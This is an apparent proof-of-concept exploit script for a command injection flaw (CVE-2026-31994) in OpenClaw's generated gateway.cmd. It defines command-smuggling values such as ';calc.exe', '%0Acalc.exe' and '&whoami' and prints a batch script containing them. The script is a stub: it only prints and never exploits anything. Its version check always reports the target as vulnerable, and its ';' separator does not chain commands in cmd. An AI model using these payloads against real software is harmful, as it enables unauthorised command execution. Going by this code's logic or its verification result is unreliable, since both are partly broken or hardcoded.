CVE-2026-31994

# CVE-2026-31994 PoC - Local Command Injection in OpenClaw # Target: OpenClaw < 2026.2.19 # Attack Vector: Malicious gateway.cmd script generation import subprocess import os def exploit_openclaw_command_injection(target_path): """ Simulate command injection via gateway.cmd metacharacters. Replace actual values with malicious cmd metacharacters. """ # Malicious payload using cmd metacharacters # Inject arbitrary command via command separator malicious_arg = ";calc.exe" # Alternative: Use newlines to inject additional commands # CR/LF injection payload newline_payload = "%0Acalc.exe" # Alternative: Command chaining with & chained_payload = "&whoami" print(f"[*] Simulating command injection with payload: {malicious_arg}") # The vulnerable code would generate a scheduled task script like: # @echo off # gateway.cmd <user_controlled_input> # If input contains ;calc.exe, it executes calc.exe vulnerable_script = f""" @echo off gateway.cmd {malicious_arg} """ print(f"[+] Vulnerable script content:") print(vulnerable_script) print("[*] When executed, the injected command (calc.exe) will run") return True def verify_vulnerability(): """Verify if OpenClaw version is vulnerable""" # In real scenario, check OpenClaw version version = "2026.2.18" # Example vulnerable version vulnerable_versions = ["< 2026.2.19"] print(f"[*] Checking OpenClaw version: {version}") # Implementation depends on version detection method return True if __name__ == "__main__": print("=" * 60) print("CVE-2026-31994: OpenClaw Local Command Injection PoC") print("=" * 60) exploit_openclaw_command_injection("/path/to/openclaw/")

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